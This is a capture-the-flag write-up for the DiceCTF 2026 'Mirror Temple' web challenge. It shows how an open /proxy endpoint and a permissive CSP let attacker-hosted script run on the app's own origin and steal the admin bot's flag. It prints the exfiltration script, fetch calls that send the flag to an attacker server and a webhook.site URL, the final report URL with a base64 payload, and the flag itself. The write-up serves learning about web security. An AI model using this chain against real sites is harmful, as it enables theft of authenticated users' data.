Mirror Temple
Challenge Data
| Field | Value |
|---|---|
| CTF | DiceCTF 2026 Quals |
| Challenge | Mirror Temple |
| Category | Web |
| Flag | dice{evila_si_rorrim_eht_dna_gnikooc_si_tnega_eht_evif_si_emit_eht_krad_si_moor_eht} |
Challenge Description
The application allowed creating a postcard at /postcard-from-nyc, stored everything inside a JWT cookie, and exposed endpoints such as /name, /portrait, and /flag to read the stored values. There was also a /report endpoint that made a Puppeteer bot visit a URL.
From the beginning, the useful chain involved making the bot load attacker-controlled content, but served from the same origin as the challenge. If that happened, reading /flag was no longer the complicated part.
Reconnaissance
The first step was to review the bot flow.
await page.goto("http://localhost:8080/postcard-from-nyc", { waitUntil: "domcontentloaded", timeout: 10_000 })
await page.type("#name", "Admin")
await page.type("#flag", flag)
await Promise.all([
page.waitForNavigation({ waitUntil: "domcontentloaded", timeout: 10_000 }),
page.click(".begin")
])
await page.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 10_000 })
Two important clues came from this.
- The bot stored the real flag inside the application before visiting the reported URL.
- The later navigation happened authenticated inside
localhoston port8080.
After that, I reviewed the proxy.
if (params.containsKey("url") && params["url"]!!.size == 1) {
val newURL = URI(URLDecoder.decode(params["url"]!![0], StandardCharsets.UTF_8))
request.headers.apply {
set("Host", newURL.host)
remove("Cookie")
remove("Cookie2")
remove("Authorization")
}
request.setUri(newURL)
return execution.execute(request)
}
This was one of the keys to the challenge. /proxy?url=... did not redirect the browser. It fetched remote content and returned it from the application's own origin. That turned external HTML into same-origin HTML.
The last thing was to look at the security headers.
response.setHeader(
"Content-Security-Policy",
"""
default-src 'none';
script-src * 'sha256-BoCRiehFBnKRTZ0eeC7grcuj5c7g5zRlYK9a9T2vgok=';
style-src 'self' https://fonts.googleapis.com/css;
img-src 'self' data:;
connect-src 'self';
""".trim().replace(Regex("\\s+"), " ")
)
The CSP blocked inline script, but it still allowed loading external scripts from any origin thanks to script-src *.
Analysis
With all that, the chain was already quite clear.
- The bot stores the real flag inside the
savecookie. /reportaccepts an absolute URL and makes the bot visit it./proxytakes attacker-controlled HTML and serves it fromlocalhoston port8080.- That HTML can include a
<script src="https://attacker/...">. - Since the content runs in the same origin as the challenge, the script can call
fetch("/flag").
In other words, the proxy did not only fetch external content. It "converted" it into a page from the challenge itself. And since the CSP still allowed remote scripts, JavaScript could be executed inside an authenticated context.
Solution
To test it locally, I used a very small HTML file and a separate script to exfiltrate.
<!doctype html>
<script src="http://127.0.0.1:9000/exfil.js"></script>
fetch("/flag")
.then(response => response.text())
.then(flag => fetch(`http://127.0.0.1:9000/leak?flag=${encodeURIComponent(flag)}`, { mode: "no-cors" }))
.catch(error => fetch(`http://127.0.0.1:9000/leak?error=${encodeURIComponent(String(error))}`, { mode: "no-cors" }));
The URL to report to the bot was this.
http://localhost:8080/proxy?url=http%3A%2F%2F127.0.0.1%3A9000%2Fpayload.html
Locally, the attacker server ended up receiving this.
GET /payload.html HTTP/1.1
GET /exfil.js HTTP/1.1
GET /leak?flag=dice%7Blocal_test_flag%7D HTTP/1.1
That confirmed the idea was on the right track. Remotely, an important detail appeared. The cookie with the flag was tied to localhost on port 8080, not to the public hostname. When I tested directly against the public domain, the payload did not extract the correct content.
The solution was to keep reporting a URL that preserved localhost as the bot's effective origin. The variant that worked on the real instance was this.
http://localhost:8080/proxy?url=https://httpbin.org/base64/PCFkb2N0eXBlIGh0bWw%2BPHNjcmlwdD5mZXRjaCgnL2ZsYWcnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGY9PmZldGNoKCdodHRwczovL3dlYmhvb2suc2l0ZS80ZTg0ZmQ4Ny04MWQ0LTRhYmQtYWZhNS1hOTBjODlmMjVjZmYvbGVhaz9mbGFnPScrZW5jb2RlVVJJQ29tcG9uZW50KGYpLHttb2RlOiduby1jb3JzJ30pKTs8L3NjcmlwdD4%3D
The webhook ended up receiving the real flag. In this challenge, the most useful part was to stop thinking of /proxy as a simple backend fetch and start seeing it as a mechanism to serve arbitrary content inside the same authenticated origin.
Flag
dice{evila_si_rorrim_eht_dna_gnikooc_si_tnega_eht_evif_si_emit_eht_krad_si_moor_eht}